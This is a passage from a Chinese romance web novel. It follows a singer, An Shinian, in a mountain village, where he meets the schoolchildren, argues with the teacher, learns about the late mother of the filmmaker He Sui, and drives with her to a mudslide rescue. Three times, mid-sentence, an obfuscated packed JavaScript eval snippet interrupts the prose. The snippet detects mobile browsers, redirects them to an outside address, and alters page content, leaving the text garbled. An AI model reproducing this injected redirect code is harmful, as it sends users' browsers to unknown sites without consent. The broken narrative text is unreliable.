整个学校没比隔壁院子大多少,总共十九个学生,小到还没识字的孩子,大的只有一个男孩在上六年级,不过都是在一个班教的,也只有田舒宁一个老师。 安时年才进学校,大小的孩子就一溜烟地跑过来团团围住他。 刚才贺穗应付一个孩子,他现下是对着一帮孩子手足无措。 学校做饭的阿姨们闻声从厨房探出头来,都被安时年的样子逗笑。 孩子们闹腾了好久,安时年把他们一一抱过才算结束,蹲下再起来权当锻炼了。 脆脆拉着他的手带进教室。 整个教室的桌椅十分崭新,后面黑板下是整齐的柜子,堆着孩子们的书,尽管整个学校没多大,教室条件倒是很好。 桌椅板凳被合在一起,拼成一个大桌,孩子们坐着等饭吃。 脆脆把安时年带到椅子上坐着。 对这个突如其来的漂亮哥哥,大家眨着百分百的大眼睛看着他。 “你是不是贺姨姨的男朋友?” “不对不对,是男朋友的话,要叫叔叔!” 安时年还没来得及辟谣,下一个问题紧着追上来。 “你是外国人吗,为什么头发是黄色的?” “不可能是外国人,他说的话我们能听懂。” 一男孩趴上桌子,两掌拍下,几乎要站在桌子上,“我知道!现在黑头发能染成黄的!对不对?” 一众目光投来,安时年又被团团围住。 他无奈笑了笑,“对呀,哥哥这是染的。” “看——我说对了吧。”男孩得意洋洋地做回到位子上。 食堂大门打开,田舒宁抱着一摞碗筷进来,身后紧跟着的是食堂阿姨抬着装满饭菜的大锅。 安时年起身正要去帮,她们也只是挥挥手让他坐下。 锅被稳稳放到桌子上,大勺敲敲锅,孩子们按大小个子排队拿碗筷。 安时年跟上去,穿过台面去找田舒宁。 “嗯……安老师,贺穗呢?” “你是她男朋友?”田舒宁将碗筷塞进他的手里 “不不不,我们算……同事。” 嘴里还想说是朋友,又想了想换了个词。 田舒宁一声冷笑,“也是,她怎么会看上你。” ? 安时年手里的碗差点没掉下来,皮笑肉不笑道:“田老师,我和你素不相识,还请你对我保持最基本的尊重。” “怎么?我说她没看上你,你不高兴?你真以为世界都围着你转吗,大明星?”田舒宁还是原本的表情。 “这不是重点,重点是你不尊重我,也不尊重她。” “尊重她?尊重她,你就不会顶着头衔住进她家,只要有一个不怀好意的人传出去,你还是光鲜亮丽,可她的生活,事业都会因你受到打扰。我是不喜欢她,但不给你好脸色也不因为她,你就祈祷自己能一直演好这样的绅士形象,直到从这个村子里滚出去。” 安时年太明白自己这个职业所带来的困扰,就是知道她说的是实话才更是语塞。 她一把推开安时年,端着盛完菜的空盆向门外走去。 雨过天晴终于出了太阳,刚转身她就被晃得睁不开眼,一个瘦瘦高高的身影站在门前,嘴里叼着棒棒糖,提着两袋子的零食,站在门口看着他俩。 贺穗是专门等他们说完才出现,早想到田舒宁不会给他好脸色,但没想到这么臭。 还是被小小地震惊住了。 她略显尴尬地举起袋子在田舒宁眼前晃了晃。 “吃点?” 田舒宁提着气,一句也不搭理。 却被贺穗堵着不能走,身后一帮孩子推来,贺穗顺势将零食扔给他们,又提起田舒宁手里的盆。 田舒宁:“放开!” 贺穗:“我们谈谈。” “少在这儿假惺惺,我说了我不想见你,”田舒宁猛地甩开贺穗抓盆的手,喝道:“一个连自己亲妈葬礼都不来的人,我……我恶心。” 她咬咬牙把话说完。 一语喝罢,身后抢零食的孩子和打饭的阿姨皆顿住手脚,大气不敢喘,孩子们害怕紧张的氛围而偷偷溜回餐桌上吃饭,大人们则纷纷低下了头。 对这个众所周知的秘密通通闭口不谈。 田舒宁有意地避开贺穗的视线,双手紧紧攥着盆。 “唉!姓田的,有你这么说话的吗?!” 安时年的声音从角落传来,打破这片寂静。 他气不打一处来,说他就算了,自己出道这么些年挨骂挨得也不少,可偏偏要说贺穗,还偏偏在这么多人的场合。 “我就这么说了怎么了,黄毛,有你什么事?你认识我吗?你知道我叫什么名字吗?” 安时年还真不知道。 手里的碗筷被他“砰”地往桌子上一放,长腿两步迈过来,抬着脸走来不看脚底下,又一个迈步就被椅子腿绊倒。 一声巨响,伴着孩子们的笑声。 他迅速从地上爬起来,飞快地扯了扯衬衫外套的领子,动作带着几分刻意的若无其事,眼神不由自主地瞟向贺穗,藏着一丝难掩的尴尬。 他开口道:“反正你说的,不对,你该道歉!” 贺穗紧绷的神色终于松缓下来,轻笑一声慢悠悠地从嘴里取出含着的棒棒糖。 田舒宁本就没打算再跟他掰扯,闻言只淡淡翻了个白眼,转身就要出门。 脚刚踏出门,贺穗的手就横在她的身前,下一刻拽住她的小臂,拉到身边。 接着,贺穗微微侧过身,凑近田舒宁的耳边,低声道:“出来。” 她的手拽着田舒宁,眼神还在安时年的身上,说:“你在这儿吃饭,我一会儿过来找你。” 没等田舒宁再反抗,只听见她手里盆和汤勺叮咣的碰撞声,就被贺穗带了出去。 安时年站在门前看了看,两个人都已经不见了踪迹。 “小伙,吃饭。” 身后阿姨刮着锅底,给他盛好饭放在了桌子上。 他想开口问问她们二人的事。 可想起贺穗一时怔愣的神情,又觉得不该问。 欲言又止,话到嘴边就剩下“谢谢”两个字。 顺着抬头,阿姨身后的墙上高高挂着希望小学捐赠的荣誉牌匾。 他定睛看着念了出来,“盈穗食品有限公司,贺春筝。” 春筝,怎么这么熟悉? 他怔忪片刻。 贺穗的电影,春余的母亲,好像叫春筝儿。 “这所学校是贺姨姨的母亲捐赠的,她母亲是从我们这里走出去的企业家,不光学校还有进村的路,这个村寨变好的一切,都与她有关。” 他身边说话的是这个学校最大的孩子,张青宇,明年就要去镇上上初中。 走来打饭,看见安时年看着墙上的牌匾,他才接着解释道:“她已经过世很多年了,我只记得她是因病离世的。” “胰腺癌,走得可年轻了,五十都不到。”阿姨打好饭递给张青宇,说道。 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372329|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时年:“过世多少久了?” 阿姨停下汤勺思量了好一会儿,“六七年?好像是。” “我那时候刚上一年级,”张青宇端着汤喝了一口,指着外面的秋叶,“跟今天一样,秋天的时节。” 六年前……她短片获奖也是在那时候。 安时年看了看外面转晴的天,风还没停。 贺穗的作品给了他人生最浓墨重彩的一笔,现在他站在这里握着对贺穗一无所知的白纸一张,开始有些茫然。 她的过去近在耳边,却不敢去问。 多年前的小崇拜,引他带着这份无人知晓的侥幸一步步走进村子里。 最开始收藏的好奇,如今添了份错位的心疼。 他的手指在口袋里摩挲,被藏匿的尾戒卡在他食指的第一个关节处。 张青宇拍了拍他,指着一角的座位,“一起吃饭吧。” “好。” 安时年脸上又挂起笑,跟着走过去。 吃完午饭,孩子们都不能回家,还要在学校里待着。 几乎到了黄昏,贺穗和田舒宁都没有回来。 安时年带着孩子们在院子里玩了一下午,最后气喘吁吁地躺在台阶上擦汗。 回身看去,坐在教室里的张青宇在安安静静地学习。 “不休息一下吗?” 张青宇没说话,抬头看了他一眼,又继续低头算数学题。 停了电的教室开不了灯,身影盖在卷子上,他更看不清字。 “走吧,这么黑也看不清,就出去透透气。” 张青宇暗暗叹了口气,“行吧。” 安时年笑了笑帮他搬椅子到门外的台阶上,一起坐着。 方晴宇发呆坐了好一会儿,开口道:“你是做什么的?” “嗯……唱歌的。” “唱歌?怪不得田老师说你是大明星。” “没有没有,就是听我歌的人多,朋友多的一个普通人罢了,”安时年挠挠头,笑笑,“你听吗?我现在就给你唱一首。” 刚要张嘴,张青宇猛地跳起来捂住他的嘴,尴尬道:“不用了,我知道你唱得肯定好听。” “不用吗?” “不不不,”张青宇道,“你既然会唱歌,那肯定也会弹琴吧?” 安时年点点头。 张青宇领着安时年上了二楼,径直走向最角落的那扇门,轻轻推开。 门后是间堆满废旧书桌的仓库,空气里浮着薄薄一层灰尘,一呼吸就能闻到陈旧的味道。张青宇踮着脚避开杂物往里走,伸手掀开蒙在大件物品上的台布,露出深棕色的一角木制。 安时年一眼就认出来,那是一架老钢琴。 他跟着上前,和张青宇一起掀开半幅台布。窗外黄昏的余光恰好斜斜闯进来,在空气中撞出细碎的光尘,丁达尔效应把光柱映得清清楚楚。 钢琴的外壳已经有些斑驳,边角也磨出了痕迹,安时年小心地打开琴盖,指尖轻轻按在最中间的白键上。 悠长又低沉的音色,从蒙尘的琴键里缓缓漫开,裹着岁月的温沉。安时年弯了弯嘴角,眼底亮起来:“太好了,还能弹。” 他的手落在琴键上,下一秒,雀跃的旋律便顺着指尖跳了出来。原本死气沉沉的二楼瞬间被盘活,音符裹着阳光飘出窗户,落到楼下的院子里。 “哇——” 孩子们的欢呼声先响起来,紧接着是清脆的掌声,脆脆拉起身边同伴的手,踩着旋律转起圈,其他孩子也跟着笑闹着跳起舞来。 8. 了解 “这也是贺奶奶带来的,但是没人会弹,就一直放在这里落灰。” 张青宇摸摸上面的灰尘,手指写着自己的名字的字母。 安时年轻轻盖上盖子,笑了笑说:“有些跑音,幸好我会修,等我修好带大家弹。” 话刚说完,楼下传来一声咆哮:“张青宇——” 两人顺着窗户望去,孩子们围着院子中间高高站着的田舒宁和贺穗。 安时年的目光定在一天没见的贺穗身上,她在院子中间双手插着兜,抬头看见安时年探出头,慢悠悠地伸出一只手向下招了招。 “她们回来了,我们下去吧。” 张青宇拉着安时年的手,飞奔下楼。 安时年还没反应过来,就到了楼下,他怔愣地看着贺穗。 上午了解的过去又一次在脑海拂来,他总是下意识地去想她那些时刻是怎样度过的。 把神态放得再轻松,克制的情绪也会从眼睛表现出来。 偏贺穗是个人精,都不用细看就知道周围的人添油加醋地说了几句,这家伙低眉看她的神情好像藏着一层…… 心疼? “没事吧?”安时年开口道。 “没事,她能有什么事,难道我会打她吗?” 田舒宁先开了口,上下眼皮子一掀顺便白了安时年一眼,像老鹰抓小鸡的鸡妈妈领着排排站的孩子走进教室。 天色暗下来,院子里薄薄地笼罩着一层青蓝。 安时年不理会田舒宁。 就这么静静站在贺穗面前看着她,青蓝薄雾盖不住他的神情,明明只是个歌手,眼睛却会说话。 “行了,我没事。”贺穗被他盯得无措,顺手把手里的钥匙扔给他。 “你开车。” 贺穗真是怕了他的一双眼睛,坐在副驾上就这么直勾勾地看着她,全然不怕被发现,为了再避免这种情况,索性把钥匙扔给他,让他开。 车走在草浪中间的路上,学校在这头,家在那头。 安时年的车开得也不慢,但是很稳当,窗户关着,没有凉风让整个车里暖洋洋的。 为了不睡着,贺穗挪了挪坐正了姿势,看着前路。 车间弥漫着一丝烟草味,安时年想起在山外贺穗突然靠近时的味道。 抽烟了吗? 他对味道有些敏感,知道贺穗有抽烟的习惯,却从未见过她抽,多时候她都叼着棒棒糖来回走。 安时年一手撑着脑袋,看着眼前,心想也许是她和田舒宁聊得不投机。 天色彻底暗下来,已经快到家门口了。 贺穗咳咳嗓子,“话说你的车……” 安时年轻叹口气。 无奈道:“车肯定没了,看保险能赔多少吧。” 贺穗:“抱歉,要是没叫你来,就不会这样了。” “这算什么,我又不是不知道这一片的环境,来了也是我愿意,这是我的事,你不用内疚。” 他倒坦然,挥挥手两句把人打发完了。 贺穗点点头看向窗外,沉默。 她不是要问这个。 是好奇他为什么藏起戒指。 为什么要来村子,又为什么给她出头。 我就是没参加自己母亲的葬礼,甚至连她病了都不知道,人入土快两天了才匆匆赶回去。 本就是没心肝的不孝女,田舒宁骂得都对。 再装坦然又有什么用。 自欺欺人。 她不需要人理解,更别说这种既不越界又莫须有的心疼。 和田舒宁从学校出来后,贺穗是想找她聊一聊的,又觉得人心如磐石两句话能改变什么。 最后是沉默。 沉默。 再沉默。 整个车的空间紧缩成吸在脸上的塑料袋,梗着脖子呼吸,还是痛苦。 六年前,贺春筝把病情瞒得密不透风,直到贺穗从伦敦回来,接通贺春清打来的电话。 她耳边环绕的机场广播声和来往的人群,变成糊上的一层膜,朦朦胧胧。 与母亲争吵后开始独立生活,再到动画短片获奖,不过两年时间,贺穗从没想过会再见不到面。 早想好要带着奖杯回去向母亲证明自己,想听母亲夸一句。 葬礼上田舒宁一巴掌把贺穗拉回现实, 命没了就是什么都没了,听也听不见,说也说不到。 房间的灯再也不会因贺春筝的脚步而亮起,贺穗也再也不会因贺春筝而争吵。 一切的尽头只剩下一块石碑。 她开着车莫名到了贺全涛家,他刚从泥石流的地方排查完回来,洗洗手抱女儿,妻子和爸妈抬着桌子端饭。 田舒宁看一眼说道:“你到底要去哪里?大老远过来看人家阖家团圆地吃饭?” 车停得远远地,贺穗扶着额头透过车窗看着贺全涛他家的院儿。 “安时年是我工作上有合作的人,为了工作才来村里的,村长肯定也和你强调了,他是村里的客人,让你好好照顾一下。” “我就说了两句,又不是不给他饭吃。” 贺穗还是看着窗外,轻叹口气,说道。 “你这些年出去学习也长大了不少,话我好好给你说,你听着。安时年到村子里来不是坏事,也是个机会。我妈的公司现在归小姨管着,你也知道这几年生意都不景气,没什么钱一直资助村子,就像你有学业要忙不能时时刻刻管着孩子们。” 贺穗的话说得很轻,转过身来接着道:“上网了吗?今天早上前明村的浏览量过了两亿,现在只会只多不少,这是让大家知道村子的机会,有人来就能发展旅游业,发展好了隧道就能修通,大家不用这样盘山上下,孩子们也能出去了。 “前明村景色这么好,会有人来的,这不也是你的愿望吗?” 贺穗抿着嘴唇笑着,看了看田舒宁。 田舒宁是贺春筝资助的第一批孩子,也是第一个坚持考出去的孩子,每天一两个小时的山路往返,考到镇上,考进市里,大学又到了大城市,一路到了研究生。 市里读高中时她借住在贺穗家,忐忑地被贺春筝带进家门,才进玄关就与贺穗迎面碰上,她低着头在门口提鞋,脚边放着大大的画板。 那时的贺穗还没有这么长的头发,扎着马尾才到领口。 贺穗抬头看了一眼,问:“这是谁?” “田舒宁,小田刚考上高中,来咱们家寄住一段时间,”贺春筝笑笑把她推到身前,“来,叫姐姐。” 田舒宁攥着背包肩带,扭扭捏捏好半天。 没见吱声的贺春清笑了笑打着圆场,去给她找鞋。 贺穗则是冷冷地背起包去开门,擦肩而过时措不及防地摸过田舒宁的脑袋。 她惊讶地转身,对上贺穗低头笑着看她的神情。 留下一句,轻声的“拜拜。” 转身出了门。 天色过了正午就转晴。 贺穗看着愣住的田舒宁接着说道:“安时年作为一个有这么大热度的公众人物,对前明村是很有利的。你对我的态度我都能理解,但用客人的礼节来对他是我们村的一份尊重。 “不要因为你和我的事情,而错过了机会。” 贺穗就是这样,清清楚楚,明明白白,被骂到头上只要不动手她都能理解对方的苦衷,和和气气地说话。 什么困扰解决不解决的,不都是剩一道坎,过段时间再心平气和地说上一句体面的“都过去了”,重归旧好。 生活早就把人逼得脚不沾地,连了结自己都得凑时间,爱还是恨都要从后排队。 “你现在是在和我说他的事,村子的事,难道……我们的事就不重要吗?” 田舒宁气憋得两颊通红,大小的泪珠成了四行滑下,紧紧咬着下嘴唇不放。 贺穗偏偏忘了没进社会的学生,最不讲这套面子逻辑。 她从手边拿起抽纸,对折对折,伸手擦净田舒宁脸上的泪水。 “事情就是那样的,你该恨我,没有错。” 她榨干海绵里的水,迎来的是急速成长,理解母亲,理解孩子,理解自己。 成就了如今的上下难为,孤军奋战的委屈只能打碎进肚子里,自我消化。 现在竟有人冒出眼里的星星好像说心疼她。 她不是迟钝的人,甚至敏感过了头。 这种心疼的发展起来,下一步会走向哪里她再清楚不过。 情一但产生就忘乎所以,明白如镜的人也会变得愚蠢。 安时年开车停进院子里。 “你为什么要来?” 贺穗冷不丁一句,让安时年解开安全带的动作不由得慢下来。 贺穗没听见回答,接着问:“前明村的位置这么偏,你怎么还真来了?” 车熄了火,灯也灭了。 天色一黑伸手不见五指,贺穗还是看着窗外。 安时年解开安全带,“我哪有想那么多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372330|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为了曲子就来了呗,快下来,到了。” 车钥匙和家钥匙串在一起,他下了车,急匆匆去开门。 电还没来,院子里漆黑一片。 听见驾驶座关门的声音。 她心道:骗子。 在安时年工作室的楼梯上,一句反问,贺穗就看出戒指一定还在他身上,只是故意不拿出来,比起来前明村的理由是不是谎话,贺穗更确信安时年对她的了解程度远不止眼前这些。 贺穗跟他在身后推着门进,拿出门口抽屉里打火机点亮手边的香薰蜡烛。 火光闪烁,她把蜡烛递给刚换完鞋的安时年。 “蜡烛好漂亮,”他特地关掉手电,举起蜡烛,“你看,照着周围是不是有种探险的感觉。” 光照在贺穗的脸上,她紧紧盯着安时年,一手关上抽屉。 再一步步向前。 在暗处呆久了,贺穗的眼神安时年看得一清二楚。 他有些不敢对视,慢慢后退还要小心蜡烛烧到贺穗。 “怎……怎么了?” 蜡烛卡在两人中间,安时年被推靠在了墙上。 两人的呼吸让火光闪烁,他抿着嘴唇抬高了脸。 他的食指轻轻抵在贺穗的肩上,自己则往后缩了缩,勉为其难地开口:“火,你的头发。” 手指轻轻滑过贺穗的肩,拨开她耳边的长发,避开了蜡烛。 “戒指。” 贺穗开口道。 安时年猛地睁大眼睛看向她。 戒指!? 什么戒指? 突然说什么戒指??? 强装镇定道:“哈哈……对哦,我说赔你一个,你挑了吗?” “你拿着,我还挑什么?” “什——” 安时年还未做反应,身后突然一空,他猛地向后仰去,手里的蜡烛脱手,下一秒被贺穗接住。 玄关尽头竟是个隐形门,他躺倒在地上,周边一环视,是一间小小的客房。 这里怎么还有一间房?! 他侧着头看房里的布置,下一刻蜡烛的火光缓缓落下挡住他的视线,扑面而来的橘子味让他泄了力,索性躺着。 转头一看,贺穗已经跨在他身上。 他两耳通红,恋爱都没谈过的黄花大小子哪里受得了这种刺激。 他猛地起身,“你干什么?!” 结果就是他连起都没起就被贺穗一把压下。 她的力道很深,死死地压住安时年的手臂,全然没有放他起来的意思。 安时年真是泄了力,动也不敢动。 贺穗双腿跨在他的腰间,半跪着,看着亲密其实没有碰到什么。 但这个距离足以让安时年脸红心跳,话都难说利索。 烛火在耳旁闪烁,贺穗缓缓低下身,长发像是结成的蜘蛛网盘在他的脸侧,还有几缕若有似无的发丝搭上他的鼻梁。 痒痒的。 “蜡烛,拿远点,一会儿烧到你。” 贺穗又直起身,姿势还是那样,若无其事地从裤兜里拿了颗棒棒糖,“戒指我懒得要,但我想问你,你是不是认识我?很多年的那种。” 看兔子露馅的游戏她已经等不及,为了不被牵着鼻子走,她要手动加快游戏进度,到此为止,就算通关。 安时年叹口气,任命躺下。 “六年前,看过你的短片,很喜欢。” 回答得情理之中,但在贺穗的意料之外。 “你很了解我吗?” 安时年:“什么?” 贺穗:“不……” 安时年被她压得晕头转向,火烧的触觉传进大脑,已经什么都听不明白,只有嘴上下意识反问。 而贺穗也接得极快。 但她沉默了很久,手里的棒棒糖举起,看着旁边出神地思考着。 半晌说出来一个字。 “行。” 她手里还拿着已经拆开的棒棒糖,俯身靠近他。 缓缓逼近。 吓得安时年紧闭双眼,转过头去。 哪知贺穗直接掰着他的下巴。 让他转过来。 头发撩过,他的嘴里被硬塞进一块甜糖。 橘子味的。 再睁开眼,贺穗已经起来,嘴里叼着细长的烟,一手拿着香薰点烟。 她什么话都没说,甚至没看安时年一眼。 深吸一口后,含着烟匆匆出了门。 9. 朋友 月光透过落地窗打进来,斜着切下床边一角。 早上的狂风大雨与夜里的恬静毫不沾边,屋里唯一的人还躺倒在地板上,耳朵被烫的通红,定定地看着天花板。 心里翻云覆雨,想不透她是什么时候知道的。 他从口袋摸出尾戒,小小的,歪歪扭扭,黑色的,薄薄一片,很像贺穗。 他举着尾戒往光的地方靠。 黑色透了光,原来是透明的深墨色。 另一边跑到室外的贺穗,踩灭没抽两口的烟。 出了院门就直接跑向草浪。 她围着奔跑。 跑得气喘吁吁,大汗淋漓,脱了运动外套,搭在胳膊上,走两步又停下,躲进草浪。 她回想起安时年在学校看她的神情。 安时年意料之外的答案,在刚才的瞬间有些让她失望。 才脱口而出,了解。 就因为一个眼神,她竟产生了期待。 贺穗把脸埋进自己的衣服里,闷闷地低喊着。 为自己的多情无奈。 我真是疯了,只是见过几次面的陌生人而已。 甚至差了这么多岁。 难道是太久没谈恋爱,还是在村里待着太闲了。 她一通分析才想起来今天还没接工作上的电话。 拿出手机一看。 果然,没信号。 无奈地望向远处。 夜风拂起她的长发,与草浪同频。 停电后,路灯都不见亮,抬起头星光更是明亮。 她看着北斗七星尾巴的方向,指向了泥石流滑下的山路,山侧低空飞来一架直升机。 四面的广播突然响起,是村长卡着痰不标准的普通话。 “前明村的大家,山路被封,经过一天的挖掘,现在有辆车卡在泥里堵住了路,年轻的小伙,男人们出来,帮帮忙,大家齐心协力,让路通出来。路开了,那边更多救援的人才能进来。” 贺穗回身看去,摩托声在村子里此起彼伏,快的已经亮着灯在赶路。 “嘟嘟——” 大路上喇叭声响起,贺穗定睛一看。 是她的车亮着灯在等她。 她跑到车旁,副驾的窗户已经放下来,安时年探着头看她。 她喘着粗气扶着车窗,顺手把外套扔进去。 “来得正好,走,去山口。” 听了阵草浪上的风,贺穗自然地把刚才的事先揭了过去。 贺穗系上安全带,从抽屉中拿出皮筋叼在嘴里后,一手打开前面的镜子,车里的灯被打亮,她一边扎着头发。 …… 没听见回话的贺穗正疑惑,转头看见发愣的安时年正看着自己的胳膊。 “贴、贴的?” 贺穗脱了外套里面是一件白色短T,正好露出她的胳膊,光一亮,安时年才看清她胳膊上的纹身。 在整个大臂中间,侧着煽动翅膀的浅绿色蝴蝶,十分灵动梦幻,可在其周围深红色的荆棘像是渗着血刺进肉里,层层缠绕,几乎将蝴蝶整个捆绑住。 “纹的。” “哦……” 安时年反应过来,从后座拿出一件大外套递给贺穗,“还是穿上吧,外面冷,我看这个在门口挂着,就拿出来了,我贴心吧?” 从房间里缓过劲儿他就开车追了出来,找了好半天。 他开车往山口走去。 “谢了。” 贺穗穿好衣服,车里空荡荡的,只能看见眼前的夜路。 无论如何,她今天的行为都是不妥的。 若无其事地深吸一口气。 “抱歉。” 两个人在车里,竟异口同声开口。 贺穗诧异地回头。 她道歉是因为自己莽撞的行为,毕竟再怎么说安时年都是她的合作对象,私下玩笑如何都是不妥的。 “啊,不……你先,”安时年手忙脚乱地误触了喇叭,一紧张话说不全,“不是,我,我先说。” “你先,没和你抢。” 贺穗抿嘴笑着回过头,看着眼前。 “我真的看过你的短片,很喜欢很喜欢,里面的女主给我留下了很深刻的印象,那一年我还因为这个创作出《长叫》让我毫无起色的事业有了火花,我很幸运现在能有这么多人喜欢我的歌,喜欢我。” 安时年边说边看向贺穗,冰冰凉凉的耳坠碰到脸颊。 只有他自己才知道脸的滚烫。 “我很崇拜你,感谢你,所以你来找我合作,我很开心。关于……你的尾戒的事情,我承认,我有私心。” 安时年说完立马摆手,“不不不,不是那个意思。” 贺穗被他逗笑,难得笑出声来,“你好好开车。” “好。”安时年好好抓着方向盘,“我的意思是,我会还给你,但现在不行。” “为什么?” “我没带,在我工作室。” 安时年把话说完,车里陷入寂静。 良久,才看到贺穗点了点头。 他紧接着开口道:“那我们现在开始当朋友吧!” 安时年脑袋跟拨浪鼓似的一会儿看路,一会儿看贺穗,笑得眼睛眯成了一条线,等她回答。 “朋友?”贺穗轻笑道,“安老师,我可没心思和一个二十五岁的成年人,玩扮孩子的游戏。” “什么扮孩子?这是关系发展的正常规律,我们好歹也算出生入死,工作伙伴变朋友,不过分吧,而且这样的关系让我和你讨论工作也会自然一点。” 她从不觉得自己有多断代,但又不得不承认,她还是不够了解二十五岁年轻人的脑回路,无论是安时年还是田舒宁。 可难得,贺穗感到轻松。 她笑了笑,“好吧,朋友,安时年。” 听见贺穗叫他的名字,安时年笑着低头。 假意咳了两声,“话说你抱歉什么?” 贺穗挠挠鼻子,“就是……刚才房间——” “欸!” 安时年一声打断她的话,“停停,不用道歉,揭过去,我原谅你了,不用在意!” 前路除了车灯,还是一片黑暗,远处山口倒是明亮,像是星星连成线,同样也堆在山脚处。 安时年轻声说着,“好多人。” 终于到了地方,远处的泥土已经被清理的差不多,难搞的是山间冲刷下来的石块。 安时年把车停在一排的摩托处。 车熄了火,车里的灯就亮了起来 贺穗坐正后定睛看向他,“安时年,今天是我越界了,这不可否认是我的错误,我该道歉的,谢谢你。” 她摸了摸鼻子,接着说:“希望我们合作愉快。” 贺穗承认,对安时年的眼神她的确产生了期待。 可给他人一种期待,本身就是一种越界。 母亲过世后她把自己重新剖析一遍,新的成长让她太明白有依靠是自己内心绕不开的渴望。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17372331|199976||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 为了不向外求,她推着自己不断强大。 没有谁应该天然为谁付出什么,就像六年前她同样没有拿出爱的名义挽留人一样。 她不是克制不住的人,相反是太能克制的人。 安时年看着她略是尴尬的样子,笑了笑,伸出手来,“我刚说完,不许这么客气。” 贺穗无奈地笑笑,握上他的手“不是客气,我说的是实话。” 车里一片岁月静好,车外淅淅沥沥的小雨又下了起来。 车窗被敲响,安时年才放开手。 贺穗打开门,被一个高个子的男人挡住,戴着安全帽和面罩,看不见他的脸,宽大的肩膀撑得橙黄色的救援服都有了几分时尚感。 “你好,我们是救援队的,想借……” “方慈?” 对方话没说完,贺穗试探性地开口打断他。 这样熟悉的声音,尽管很多年没有听到,她还是记得清清楚楚。 “贺穗?” 方慈一时愣住,手电打在身前才看清贺穗的样子。 外套上大大的帽子盖在她脸上,歪着身子抬头看着他。 突如其来的相遇让她惊讶,看着方慈摘下口罩和安全帽,露出熟悉的眉眼。 贺穗要笑不笑,惊讶道:“没想到真的是你,我还想着声音很熟悉。” “我也没想到真能遇到你!” 方慈头发不长不短正好露出他的眉眼,还和过去一样浓眉和长长的睫毛,岁数大了发腮,反而褪去了过去的稚嫩,成熟不少。 “你不是读博士吗?怎么做救援了?” “说来话长,我回头再和你解释。” 安时年在一旁撑着伞跑过来,伞斜给贺穗。 安时年的头发太好认,都不用贺穗介绍,方慈先伸出手来,“你是安时年吗?我叫方慈,救援队的。” “是是,我这手上都是水……”安时年着急忙慌地换只手,“幸会幸会。” 贺穗接过他的伞,正好让他整理整理,向方慈问道:“你刚敲车窗是要干什么?” “对,我们是想用一下你的车,现在里面有辆车卡在小隧道里,大点的车上不去,光靠摩托拉不出来,现在就这辆车弄得两头出不去进不来。” “行,车里有人吗?” 方慈叹口气,双手插着腰,“一个中年人叫贺长舍,早上送货的,泥石流下来正好埋了他,人已经没了。” 贺穗抓雨伞的手捏得紧紧的,身子不由得向后退了半步,正好靠到安时年在她身后虚护着的手。 安时年感受到她的动作,身体毫无动静地往她身上靠了靠,低声问道:“认识?” 贺穗轻轻舒口气,小声道:“是脆脆的爸爸。” 安时年眉头皱起,手在贺穗身后不动声色地将她扶起。 “先想办法把车挪出来吧,嗯?” 他的声音很轻,几乎是低着头只对贺穗说。 贺穗点点头:“他的车是小货车,早上拉了货回来,我这个车应该不好拉出来。” 方慈也注意到贺穗的异样,可手出来时已经慢了半步,若无其事地摸了摸鼻子,听见贺穗说话,才开始应和。 “还有摩托,一起的话就可以。”方慈说 雨越下越大,三人站着冷飕飕的。 贺穗望了望半山腰上流转交替的灯光,说:“行,我来开吧,你们不熟悉路况。” “不行!” 忽地她被一双手猛地拉住。 10. 鼓励 贺穗转身向驾驶座走去,才走到车前,她的手就被方慈抓住。 他眼里的担忧几乎是冲出来。 半晌,他才觉得不妥,侃侃放下手。 方慈开口:“在往上走路况很危险,不安全。” 安时年没有跟上,打着伞在车边站着,旁观者的身份让他能感受到贺穗与方慈之间不同寻常的氛围。 “你们救援队的人来得不多,都是医疗救护的吧?这段路况确实特殊,但我是当地人,很熟悉的,而且我开车技术这些年精进不少,你放心。” 方慈听了后,定睛看了看贺穗,又看了看安时年。 贺穗顺着他的目光看去,在伞下站着被雨声包围的安时年,没有光打着,贺穗看不清他的神色,只是站着,一言不发。 “你看他干什么?他又管不到我。” 才说完,她头上的雨水就停下了,原来是安时年举着伞走了过来。 他还是站在贺穗身后一点,向方慈问道:“你们医疗设施完善吗?” “当然,救援站不远,而且我就是学医的。” 安时年点了点头,向着贺穗哈哈笑起来,大手一挥,“那去吧!” “谁让你指使了。” 贺穗看他吊儿郎当的样子,自己装模做样地抬腿过去,人正好躲开。 光听见安时年抱怨道,“我可就这一条裤子!” 贺穗笑了一声,坐上了车。 向山脚开去。 “你怎么不劝劝她?” 方慈回身问道。 “她想做,能做,为什么要阻止?” 安时年收起刚才不正经的劲儿,撑着黑色长柄伞,“我们做好自己的事情就好了,有什么我能帮上忙的吗?” 他踩着雨声,追着车尾灯走去。 山脚的人看见贺穗的车,纷纷涌过来。 